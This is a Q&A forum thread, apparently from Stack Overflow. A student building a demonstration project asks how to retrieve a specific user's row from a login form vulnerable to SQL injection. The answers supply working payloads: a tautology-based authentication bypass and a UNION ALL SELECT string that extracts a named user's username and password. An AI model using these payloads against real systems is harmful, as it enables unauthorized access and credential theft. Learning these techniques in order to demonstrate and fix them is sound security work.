How to retrieve a particular row from database vulnerable to SQL Injection?

Question

When I put Username:anything and Password : 1'or'1'='1, my database retrieves the first row from MYSQL table. How do I retrieve the row corresponding to Username:anything? This is for a project in which I need to show all possible SQL vulnerabilities and rectify them.

Answer 1

Basically the sql would look like this:

select * from table
where username='anything' and pw='1' or '1'='1'

We know that 'and' has precedence over 'or' so:

 select * from table
    where (username='anything' and pw='1') or '1'='1'

So if the 'anything''s password is not '1' you will get the first row since '1'='1' is always true

UPDATE:
To get the result you want you have to change username value and so for password, I'm not sure but this is nearly the values you should inject:
username='anything ('
pw=1') or '1'='1'

Answer 2

Most probably the login sql query should look like this.

select * from table
where username='user' and password='pass'

Now your aim is to get the row corresponding to the value specified as the "username".

So for that just inject an UNION query,better not to be more confused with other methods.

Here below goes the value of "username" field.

' UNION ALL SELECT username,password from users where username='ShihabSoft' -- 

So after injecting the final query will look like this.

select * from users where username='' UNION ALL SELECT username,password from users where username='ShihabSoft' -- 

So if you wanna get the row of a specified user,just change the value 'ShihabSoft' to any other username.

And it is just for an example because you did't even specified the query in your question.So the number of columns in the UNION query may differ according the number of columns specified in the actual query.